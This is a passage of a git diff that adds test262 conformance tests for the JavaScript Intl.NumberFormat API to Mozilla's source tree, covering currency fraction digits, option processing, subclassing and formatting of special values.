+ * @description Tests that the number of fractional digits is determined correctly for currencies.
+ * @author Norbert Lindenberg
+ */
+
+// data from http://www.currency-iso.org/dl_iso_table_a1.xml, 2013-02-25
+var currencyDigits = {
+ AED: 2,
+ AFN: 2,
+ ALL: 2,
+ AMD: 2,
+ ANG: 2,
+ AOA: 2,
+ ARS: 2,
+ AUD: 2,
+ AWG: 2,
+ AZN: 2,
+ BAM: 2,
+ BBD: 2,
+ BDT: 2,
+ BGN: 2,
+ BHD: 3,
+ BIF: 0,
+ BMD: 2,
+ BND: 2,
+ BOB: 2,
+ BOV: 2,
+ BRL: 2,
+ BSD: 2,
+ BTN: 2,
+ BWP: 2,
+ BYR: 0,
+ BZD: 2,
+ CAD: 2,
+ CDF: 2,
+ CHE: 2,
+ CHF: 2,
+ CHW: 2,
+ CLF: 4,
+ CLP: 0,
+ CNY: 2,
+ COP: 2,
+ COU: 2,
+ CRC: 2,
+ CUC: 2,
+ CUP: 2,
+ CVE: 2,
+ CZK: 2,
+ DJF: 0,
+ DKK: 2,
+ DOP: 2,
+ DZD: 2,
+ EGP: 2,
+ ERN: 2,
+ ETB: 2,
+ EUR: 2,
+ FJD: 2,
+ FKP: 2,
+ GBP: 2,
+ GEL: 2,
+ GHS: 2,
+ GIP: 2,
+ GMD: 2,
+ GNF: 0,
+ GTQ: 2,
+ GYD: 2,
+ HKD: 2,
+ HNL: 2,
+ HRK: 2,
+ HTG: 2,
+ HUF: 2,
+ IDR: 2,
+ ILS: 2,
+ INR: 2,
+ IQD: 3,
+ IRR: 2,
+ ISK: 0,
+ JMD: 2,
+ JOD: 3,
+ JPY: 0,
+ KES: 2,
+ KGS: 2,
+ KHR: 2,
+ KMF: 0,
+ KPW: 2,
+ KRW: 0,
+ KWD: 3,
+ KYD: 2,
+ KZT: 2,
+ LAK: 2,
+ LBP: 2,
+ LKR: 2,
+ LRD: 2,
+ LSL: 2,
+ LTL: 2,
+ LVL: 2,
+ LYD: 3,
+ MAD: 2,
+ MDL: 2,
+ MGA: 2,
+ MKD: 2,
+ MMK: 2,
+ MNT: 2,
+ MOP: 2,
+ MRO: 2,
+ MUR: 2,
+ MVR: 2,
+ MWK: 2,
+ MXN: 2,
+ MXV: 2,
+ MYR: 2,
+ MZN: 2,
+ NAD: 2,
+ NGN: 2,
+ NIO: 2,
+ NOK: 2,
+ NPR: 2,
+ NZD: 2,
+ OMR: 3,
+ PAB: 2,
+ PEN: 2,
+ PGK: 2,
+ PHP: 2,
+ PKR: 2,
+ PLN: 2,
+ PYG: 0,
+ QAR: 2,
+ RON: 2,
+ RSD: 2,
+ RUB: 2,
+ RWF: 0,
+ SAR: 2,
+ SBD: 2,
+ SCR: 2,
+ SDG: 2,
+ SEK: 2,
+ SGD: 2,
+ SHP: 2,
+ SLL: 2,
+ SOS: 2,
+ SRD: 2,
+ SSP: 2,
+ STD: 2,
+ SVC: 2,
+ SYP: 2,
+ SZL: 2,
+ THB: 2,
+ TJS: 2,
+ TMT: 2,
+ TND: 3,
+ TOP: 2,
+ TRY: 2,
+ TTD: 2,
+ TWD: 2,
+ TZS: 2,
+ UAH: 2,
+ UGX: 0,
+ USD: 2,
+ USN: 2,
+ USS: 2,
+ UYI: 0,
+ UYU: 2,
+ UZS: 2,
+ VEF: 2,
+ VND: 0,
+ VUV: 0,
+ WST: 2,
+ XAF: 0,
+ XCD: 2,
+ XOF: 0,
+ XPF: 0,
+ YER: 2,
+ ZAR: 2,
+ ZMW: 2,
+ ZWL: 2
+};
+
+Object.getOwnPropertyNames(currencyDigits).forEach(function (currency) {
+ var digits = currencyDigits[currency];
+ format = Intl.NumberFormat([], {style: "currency", currency: currency});
+ var min = format.resolvedOptions().minimumFractionDigits;
+ var max = format.resolvedOptions().maximumFractionDigits;
+ if (min !== digits) {
+ $ERROR("Didn't get correct minimumFractionDigits for currency " +
+ currency + "; expected " + digits + ", got " + min + ".");
+ }
+ if (max !== digits) {
+ $ERROR("Didn't get correct maximumFractionDigits for currency " +
+ currency + "; expected " + digits + ", got " + max + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_21.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_21.js
new file mode 100644
index 000000000..1751b8b57
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_21.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option currencyDisplay is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.NumberFormat, "currencyDisplay", "string", ["code", "symbol", "name"],
+ "symbol", {extra: {any: {style: "currency", currency: "XDR"}}});
+testOption(Intl.NumberFormat, "currencyDisplay", "string", ["code", "symbol", "name"],
+ undefined, {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_32.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_32.js
new file mode 100644
index 000000000..9196318ef
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_32.js
@@ -0,0 +1,44 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the options minimumSignificantDigits and
+ * maximumSignificantDigits are read in the right sequence.
+ * @author Norbert Lindenberg
+ */
+
+var read = 0;
+
+function readMinimumSignificantDigits() {
+ ++read;
+ if (read === 1) {
+ return 0; // invalid value, but on first read that's OK
+ } else if (read === 3) {
+ return 1; // valid value
+ } else {
+ $ERROR("minimumSignificantDigits read out of sequence: " + read + ".");
+ }
+}
+
+function readMaximumSignificantDigits() {
+ ++read;
+ if (read === 2) {
+ return 0; // invalid value, but on first read that's OK
+ } else if (read === 4) {
+ return 1; // valid value
+ } else {
+ $ERROR("maximumSignificantDigits read out of sequence: " + read + ".");
+ }
+}
+
+var options = {};
+Object.defineProperty(options, "minimumSignificantDigits",
+ { get: readMinimumSignificantDigits });
+Object.defineProperty(options, "maximumSignificantDigits",
+ { get: readMaximumSignificantDigits });
+
+new Intl.NumberFormat("de", options);
+
+if (read !== 4) {
+ $ERROR("insuffient number of property reads: " + read + ".");
+}
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_34.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_34.js
new file mode 100644
index 000000000..98ba9a062
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_34.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option useGrouping is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.NumberFormat, "useGrouping", "boolean", undefined, true);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_6.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_6.js
new file mode 100644
index 000000000..5b9d342eb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_6.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a Record is not affected by adversarial
+ * changes to Object.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintProperties(["localeMatcher"]);
+
+var locale = new Intl.NumberFormat(undefined, {localeMatcher: "lookup"}).resolvedOptions().locale;
+if (!isCanonicalizedStructurallyValidLanguageTag(locale)) {
+ $ERROR("NumberFormat returns invalid locale " + locale + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_7.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_7.js
new file mode 100644
index 000000000..4b13b245b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_7.js
@@ -0,0 +1,12 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option localeMatcher is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.NumberFormat, "localeMatcher", "string", ["lookup", "best fit"], "best fit", {noReturn: true});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_a.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_a.js
new file mode 100644
index 000000000..611816b61
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_a.js
@@ -0,0 +1,18 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that constructing a NumberFormat doesn't create or modify
+ * unwanted properties on the RegExp constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testForUnwantedRegExpChanges(function () {
+ new Intl.NumberFormat("de-DE-u-nu-latn");
+});
+
+testForUnwantedRegExpChanges(function () {
+ new Intl.NumberFormat("de-DE-u-nu-latn", {style: "currency", currency: "EUR"});
+});
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.2.1_4.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.2.1_4.js
new file mode 100644
index 000000000..18b5b98fa
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.2.1_4.js
@@ -0,0 +1,21 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that for non-object values passed as this to NumberFormat a
+ * wrapper object will be initialized and returned.
+ * @author Norbert Lindenberg
+ */
+
+var thisValues = [true, 42, "国際化"];
+
+thisValues.forEach(function (value) {
+ var format = Intl.NumberFormat.call(value);
+ // check that the returned object functions as a number format
+ var referenceFormat = new Intl.NumberFormat();
+ if (Intl.NumberFormat.prototype.format.call(format, 12.3456) !== referenceFormat.format(12.3456)) {
+ $ERROR("NumberFormat initialized from " + value + " doesn't behave like normal number format.");
+ }
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.2.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.2.js
new file mode 100644
index 000000000..0ca8cbbda
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat can be subclassed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// get a number format and have it format an array of numbers for comparison with the subclass
+var locales = ["tlh", "id", "en"];
+var a = [0, 1, -1, -123456.789, -Infinity, NaN];
+var referenceNumberFormat = new Intl.NumberFormat(locales);
+var referenceFormatted = a.map(referenceNumberFormat.format);
+
+function MyNumberFormat(locales, options) {
+ Intl.NumberFormat.call(this, locales, options);
+ // could initialize MyNumberFormat properties
+}
+
+MyNumberFormat.prototype = Object.create(Intl.NumberFormat.prototype);
+MyNumberFormat.prototype.constructor = MyNumberFormat;
+// could add methods to MyNumberFormat.prototype
+
+var format = new MyNumberFormat(locales);
+var actual = a.map(format.format);
+testArraysAreSame(referenceFormatted, actual);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.3.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.3.js
new file mode 100644
index 000000000..f0bfb5552
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.3.js
@@ -0,0 +1,19 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that objects constructed by Intl.NumberFormat have the specified internal properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.NumberFormat();
+
+var actualPrototype = Object.getPrototypeOf(obj);
+if (actualPrototype !== Intl.NumberFormat.prototype) {
+ $ERROR("Prototype of object constructed by Intl.NumberFormat isn't Intl.NumberFormat.prototype; got " + actualPrototype);
+}
+
+if (!Object.isExtensible(obj)) {
+ $ERROR("Object constructed by Intl.NumberFormat must be extensible.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1_L15.js b/js/src/tests/test262/intl402/ch11/11.1/11.1_L15.js
new file mode 100644
index 000000000..e40ffc53e
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.NumberFormat, true, true, ["supportedLocalesOf"], 0);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/browser.js b/js/src/tests/test262/intl402/ch11/11.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/browser.js
diff --git a/js/src/tests/test262/intl402/ch11/11.1/shell.js b/js/src/tests/test262/intl402/ch11/11.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/shell.js
diff --git a/js/src/tests/test262/intl402/ch11/11.2/11.2.1.js b/js/src/tests/test262/intl402/ch11/11.2/11.2.1.js
new file mode 100644
index 000000000..83bebb283
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/11.2.1.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype has the required attributes.
+ * @author Norbert Lindenberg
+ */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.NumberFormat, "prototype");
+if (desc === undefined) {
+ $ERROR("Intl.NumberFormat.prototype is not defined.");
+}
+if (desc.writable) {
+ $ERROR("Intl.NumberFormat.prototype must not be writable.");
+}
+if (desc.enumerable) {
+ $ERROR("Intl.NumberFormat.prototype must not be enumerable.");
+}
+if (desc.configurable) {
+ $ERROR("Intl.NumberFormat.prototype must not be configurable.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.2/11.2.2_L15.js b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_L15.js
new file mode 100644
index 000000000..49dce3bae
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.supportedLocalesOf
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.NumberFormat.supportedLocalesOf, true, false, [], 1);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.2/11.2.2_a.js b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_a.js
new file mode 100644
index 000000000..c6c9f9a46
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_a.js
@@ -0,0 +1,28 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat has a supportedLocalesOf
+ * property, and it works as planned.
+ * @author: Roozbeh Pournader
+ */
+
+var defaultLocale = new Intl.NumberFormat().resolvedOptions().locale;
+var notSupported = 'zxx'; // "no linguistic content"
+var requestedLocales = [defaultLocale, notSupported];
+
+var supportedLocales;
+
+if (!Intl.NumberFormat.hasOwnProperty('supportedLocalesOf')) {
+ $ERROR("Intl.NumberFormat doesn't have a supportedLocalesOf property.");
+}
+
+supportedLocales = Intl.NumberFormat.supportedLocalesOf(requestedLocales);
+if (supportedLocales.length !== 1) {
+ $ERROR('The length of supported locales list is not 1.');
+}
+
+if (supportedLocales[0] !== defaultLocale) {
+ $ERROR('The default locale is not returned in the supported list.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.2/11.2.2_b.js b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_b.js
new file mode 100644
index 000000000..6b4d77e77
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/11.2.2_b.js
@@ -0,0 +1,13 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.supportedLocalesOf
+ * doesn't access arguments that it's not given.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Object.prototype, "1");
+new Intl.NumberFormat("und");
diff --git a/js/src/tests/test262/intl402/ch11/11.2/11.2.3_b.js b/js/src/tests/test262/intl402/ch11/11.2/11.2.3_b.js
new file mode 100644
index 000000000..70fe7cf11
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/11.2.3_b.js
@@ -0,0 +1,46 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat does not accept Unicode locale
+ * extension keys and values that are not allowed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var locales = ["ja-JP", "zh-Hans-CN", "zh-Hant-TW"];
+var input = 1234567.89;
+
+locales.forEach(function (locale) {
+ var defaultNumberFormat = new Intl.NumberFormat([locale]);
+ var defaultOptions = defaultNumberFormat.resolvedOptions();
+ var defaultOptionsJSON = JSON.stringify(defaultOptions);
+ var defaultLocale = defaultOptions.locale;
+ var defaultFormatted = defaultNumberFormat.format(input);
+
+ var keyValues = {
+ "cu": ["USD", "EUR", "JPY", "CNY", "TWD", "invalid"],
+ "nu": ["native", "traditio", "finance", "invalid"]
+ };
+
+ Object.getOwnPropertyNames(keyValues).forEach(function (key) {
+ keyValues[key].forEach(function (value) {
+ var numberFormat = new Intl.NumberFormat([locale + "-u-" + key + "-" + value]);
+ var options = numberFormat.resolvedOptions();
+ if (options.locale !== defaultLocale) {
+ $ERROR("Locale " + options.locale + " is affected by key " +
+ key + "; value " + value + ".");
+ }
+ if (JSON.stringify(options) !== defaultOptionsJSON) {
+ $ERROR("Resolved options " + JSON.stringify(options) + " are affected by key " +
+ key + "; value " + value + ".");
+ }
+ if (defaultFormatted !== numberFormat.format(input)) {
+ $ERROR("Formatted value " + numberFormat.format(input) + " is affected by key " +
+ key + "; value " + value + ".");
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.2/browser.js b/js/src/tests/test262/intl402/ch11/11.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch11/11.2/shell.js b/js/src/tests/test262/intl402/ch11/11.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.1.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.1.js
new file mode 100644
index 000000000..46c7fc519
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.1.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.constructor is the
+ * Intl.NumberFormat.
+ * @author: Roozbeh Pournader
+ */
+
+if (Intl.NumberFormat.prototype.constructor !== Intl.NumberFormat) {
+ $ERROR("Intl.NumberFormat.prototype.constructor is not the same as " +
+ "Intl.NumberFormat");
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_L15.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_L15.js
new file mode 100644
index 000000000..8e1c95835
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the function returned by Intl.NumberFormat.prototype.format
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(new Intl.NumberFormat().format, true, false, [], 1);
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_ii.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_ii.js
new file mode 100644
index 000000000..cb284f43e
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_ii.js
@@ -0,0 +1,27 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.format
+ * converts other types to numbers.
+ * @author: Roozbeh Pournader
+ */
+
+var formatter = new Intl.NumberFormat();
+var testData = [undefined, null, true, '0.6666666', {valueOf: function () { return '0.1234567';}}];
+var number;
+var i, input, correctResult, result;
+
+for (i in testData) {
+ input = testData[i];
+ number = +input;
+ correctResult = formatter.format(number);
+
+ result = formatter.format(input);
+ if (result !== correctResult) {
+ $ERROR('Intl.NumberFormat does not convert other ' +
+ 'types to numbers. Input: "'+input+'" Output: "'+result+'" '+
+ 'Expected output: "'+correctResult+'"');
+ }
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_c.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_c.js
new file mode 100644
index 000000000..3fc877b31
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_c.js
@@ -0,0 +1,41 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that format function is bound to its Intl.NumberFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var numbers = [0, -0, 1, -1, 5.5, 123, -123, -123.45, 123.44501, 0.001234,
+ -0.00000000123, 0.00000000000000000000000000000123, 1.2, 0.0000000012344501,
+ 123445.01, 12344501000000000000000000000000000, -12344501000000000000000000000000000,
+ Infinity, -Infinity, NaN];
+var locales = [undefined, ["de"], ["th-u-nu-thai"], ["en"], ["ja-u-nu-jpanfin"], ["ar-u-nu-arab"]];
+var options = [
+ undefined,
+ {style: "percent"},
+ {style: "currency", currency: "EUR", currencyDisplay: "symbol"},
+ {style: "currency", currency: "IQD", currencyDisplay: "symbol"},
+ {style: "currency", currency: "KMF", currencyDisplay: "symbol"},
+ {style: "currency", currency: "CLF", currencyDisplay: "symbol"},
+ {useGrouping: false, minimumIntegerDigits: 3, minimumFractionDigits: 1, maximumFractionDigits: 3}
+];
+
+locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var formatObj = new Intl.NumberFormat(locales, options);
+ var formatFunc = formatObj.format;
+ numbers.forEach(function (number) {
+ var referenceFormatted = formatObj.format(number);
+ var formatted = formatFunc(number);
+ if (referenceFormatted !== formatted) {
+ $ERROR("format function produces different result than format method for locales " +
+ locales + "; options: " + (options ? JSON.stringify(options) : options) +
+ " : " + formatted + " vs. " + referenceFormatted + ".");
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_1.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_1.js
new file mode 100644
index 000000000..5f14e7772
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_1.js
@@ -0,0 +1,19 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.format
+ * doesn't treat all numbers as negative.
+ * @author: Roozbeh Pournader
+ */
+
+var formatter = new Intl.NumberFormat();
+
+if (formatter.format(1) === formatter.format(-1)) {
+ $ERROR('Intl.NumberFormat is formatting 1 and -1 the same way.');
+}
+
+if (formatter.format(-0) !== formatter.format(0)) {
+ $ERROR('Intl.NumberFormat is formatting signed zeros differently.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_2.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_2.js
new file mode 100644
index 000000000..ec11a679d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_2.js
@@ -0,0 +1,59 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.format
+ * handles NaN, Infinity, and -Infinity properly.
+ * @author: Roozbeh Pournader
+ */
+
+// FIXME: We are only listing Numeric_Type=Decimal. May need to add more
+// when the spec clarifies. Current as of Unicode 6.1.
+var hasUnicodeDigits = new RegExp('.*([' +
+ '0-9\u0660-\u0669\u06F0-\u06F9\u07C0-\u07C9\u0966-\u096F' +
+ '\u09E6-\u09EF\u0A66-\u0A6F\u0AE6-\u0AEF\u0B66-\u0B6F\u0BE6-\u0BEF' +
+ '\u0C66-\u0C6F\u0CE6-\u0CEF\u0D66-\u0D6F\u0E50-\u0E59\u0ED0-\u0ED9' +
+ '\u0F20-\u0F29\u1040-\u1049\u1090-\u1099\u17E0-\u17E9\u1810-\u1819' +
+ '\u1946-\u194F\u19D0-\u19D9\u1A80-\u1A89\u1A90-\u1A99\u1B50-\u1B59' +
+ '\u1BB0-\u1BB9\u1C40-\u1C49\u1C50-\u1C59\uA620-\uA629\uA8D0-\uA8D9' +
+ '\uA900-\uA909\uA9D0-\uA9D9\uAA50-\uAA59\uABF0-\uABF9\uFF10-\uFF19' +
+ ']|' +
+ '\uD801[\uDCA0-\uDCA9]|' +
+ '\uD804[\uDC66-\uDC6F\uDCF0-\uDCF9\uDD36-\uDD3F\uDDD0-\uDDD9]|' +
+ '\uD805[\uDEC0-\uDEC9]|' +
+ '\uD835[\uDFCE-\uDFFF])');
+
+var formatter = new Intl.NumberFormat();
+var formattedNaN = formatter.format(NaN);
+var formattedInfinity = formatter.format(Infinity);
+var formattedNegativeInfinity = formatter.format(-Infinity);
+
+if (formattedNaN === formattedInfinity) {
+ $ERROR('Intl.NumberFormat formats NaN and Infinity the ' +
+ 'same way.');
+}
+
+if (formattedNaN === formattedNegativeInfinity) {
+ $ERROR('Intl.NumberFormat formats NaN and negative ' +
+ 'Infinity the same way.');
+}
+
+if (formattedInfinity === formattedNegativeInfinity) {
+ $ERROR('Intl.NumberFormat formats Infinity and ' +
+ 'negative Infinity the same way.');
+}
+
+if (hasUnicodeDigits.test(formattedNaN)) {
+ $ERROR('Intl.NumberFormat formats NaN using a digit.');
+}
+
+if (hasUnicodeDigits.test(formattedInfinity)) {
+ $ERROR('Intl.NumberFormat formats Infinity using a ' +
+ 'digit.');
+}
+
+if (hasUnicodeDigits.test(formattedNegativeInfinity)) {
+ $ERROR('Intl.NumberFormat formats negative Infinity ' +
+ 'using a digit.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_b.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_b.js
new file mode 100644
index 000000000..efe15575d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_b.js
@@ -0,0 +1,27 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.format
+ * formats percent values properly.
+ * @author: Roozbeh Pournader
+ */
+
+var numberFormatter = new Intl.NumberFormat();
+var percentFormatter = new Intl.NumberFormat(undefined, {style: 'percent'});
+
+var formattedTwenty = numberFormatter.format(20);
+var formattedTwentyPercent = percentFormatter.format(0.20);
+
+// FIXME: May not work for some theoretical locales where percents and
+// normal numbers are formatted using different numbering systems.
+if (formattedTwentyPercent.indexOf(formattedTwenty) === -1) {
+ $ERROR("Intl.NumberFormat's formatting of 20% does not include a " +
+ "formatting of 20 as a substring.");
+}
+
+// FIXME: Move this to somewhere appropriate
+if (percentFormatter.format(0.011) === percentFormatter.format(0.02)) {
+ $ERROR('Intl.NumberFormat is formatting 1.1% and 2% the same way.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_e.js b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_e.js
new file mode 100644
index 000000000..234ae6325
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_e.js
@@ -0,0 +1,47 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.NumberFormat.prototype.format
+ * supports all alternative numbering systems.
+ * @author: Roozbeh Pournader
+ */
+
+var numberingSystems = {
+ arab: 0x0660,
+ arabext: 0x06F0,
+ beng: 0x09E6,
+ deva: 0x0966,
+ fullwide: 0xFF10,
+ gujr: 0x0AE6,
+ guru: 0x0A66,
+ hanidec: [0x3007, 0x4E00, 0x4E8C, 0x4E09, 0x56DB,
+ 0x4E94, 0x516D, 0x4E03, 0x516B, 0x4E5D],
+ khmr: 0x17E0,
